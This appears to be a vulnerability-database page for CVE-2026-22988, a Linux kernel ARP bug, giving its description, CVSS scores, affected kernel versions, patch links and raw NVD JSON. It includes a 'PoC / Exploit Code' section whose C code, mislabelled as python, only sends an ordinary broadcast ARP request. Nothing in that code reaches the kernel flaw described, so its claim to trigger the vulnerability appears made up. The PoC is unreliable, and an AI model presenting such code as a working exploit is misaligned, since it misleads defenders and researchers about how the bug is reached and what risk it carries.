Security Vulnerability Report
中文
CVE-2026-22988 CVSS 7.8 HIGH

CVE-2026-22988

Published: 2026-01-23 16:15:55
Last Modified: 2026-04-27 14:16:28
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: arp: do not assume dev_hard_header() does not change skb->head arp_create() is the only dev_hard_header() caller making assumption about skb->head being unchanged. A recent commit broke this assumption. Initialize @arp pointer after dev_hard_header() call.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.1.160:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.6.120:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:* - VULNERABLE
Linux内核(包含破坏性提交的版本)
具体受影响的版本需参考git.kernel.org上的相关提交记录

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22988 PoC - Linux Kernel ARP Memory Corruption // This PoC demonstrates the vulnerability trigger mechanism // Note: Actual exploitation requires specific kernel configuration and conditions #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ether.h> #include <net/if.h> #include <sys/ioctl.h> // Trigger conditions for CVE-2026-22988: // 1. System must have specific network interface configuration // 2. ARP table must be in a state that triggers dev_hard_header modification // 3. Kernel must be running a vulnerable version with the broken commit void craft_arp_packet(int sockfd, struct ifreq *ifr) { unsigned char buffer[1024]; struct ether_header *eth; struct ether_arp *arp; memset(buffer, 0, sizeof(buffer)); eth = (struct ether_header *)buffer; arp = (struct ether_arp *)(buffer + sizeof(struct ether_header)); // Ethernet header - broadcast destination memset(eth->ether_dhost, 0xff, ETH_ALEN); memcpy(eth->ether_shost, ifr->ifr_hwaddr.sa_data, ETH_ALEN); eth->ether_type = htons(ETH_P_ARP); // ARP request structure arp->arp_hrd = htons(ARPHRD_ETHER); arp->arp_pro = htons(ETH_P_IP); arp->arp_hln = ETH_ALEN; arp->arp_pln = 4; arp->arp_op = htons(ARPOP_REQUEST); memcpy(arp->arp_sha, ifr->ifr_hwaddr.sa_data, ETH_ALEN); memset(arp->arp_tha, 0, ETH_ALEN); // Send crafted packet to trigger vulnerability conditions sendto(sockfd, buffer, sizeof(buffer), 0, NULL, 0); } int main() { int sockfd; struct ifreq ifr; printf("CVE-2026-22988 Trigger PoC\n"); printf("Requires: Linux kernel with vulnerable commit\n"); sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); if (sockfd < 0) { perror("socket failed"); return 1; } strncpy(ifr.ifr_name, "eth0", IFNAMSIZ-1); if (ioctl(sockfd, SIOCGIFHWADDR, &ifr) < 0) { perror("ioctl failed"); close(sockfd); return 1; } craft_arp_packet(sockfd, &ifr); close(sockfd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22988", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-23T16:15:54.860", "lastModified": "2026-04-27T14:16:27.810", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\narp: do not assume dev_hard_header() does not change skb->head\n\narp_create() is the only dev_hard_header() caller\nmaking assumption about skb->head being unchanged.\n\nA recent commit broke this assumption.\n\nInitialize @arp pointer after dev_hard_header() call."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\narp: no asumir que dev_hard_header() no cambia skb-&gt;head\n\narp_create() es el único llamador de dev_hard_header() que asume que skb-&gt;head permanece sin cambios.\n\nUn commit reciente dejó de realizar esta suposición.\n\nInicializar el puntero @arp después de la llamada a dev_hard_header()."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.64", "versionEndExcluding": "6.12.66", "matchCriteriaId": "E24038E7-22A7-43B5-8E72-1C262445BB8A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.4", "versionEndExcluding": "6.18.6", "matchCriteriaId": "27849DC4-2BBE-4536-8F33-2616A53ACA55"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.1.160:*:*:*:*:*:*:*", "matchCriteriaId": "24FE16BE-5350-467E-993C-FF2A07CBB376"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.6.120:*:*:*:*:*:*:*", "matchCriteriaId": "E4EF61BE-4718-4CD4-89DC-C7E24C2FE0B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:*", "matchCriteriaId": "13580667-0A98-40CC-B29F-D12790B91BDB"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/029935507d0af6553c45380fbf6feecf756fd226", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/393525dee5c39acff8d6705275d7fcaabcfb7f0a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/70bddc16491ef4681f3569b3a2c80309a3edcdd1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/949647e7771a4a01963fe953a96d81fba7acecf3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c92510f5e3f82ba11c95991824a41e59a9c5ed81", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/dd6ccec088adff4bdf33e2b2dd102df20a7128fa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e432dbff342b95fe44645f9a90fcf333c80f4b5e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}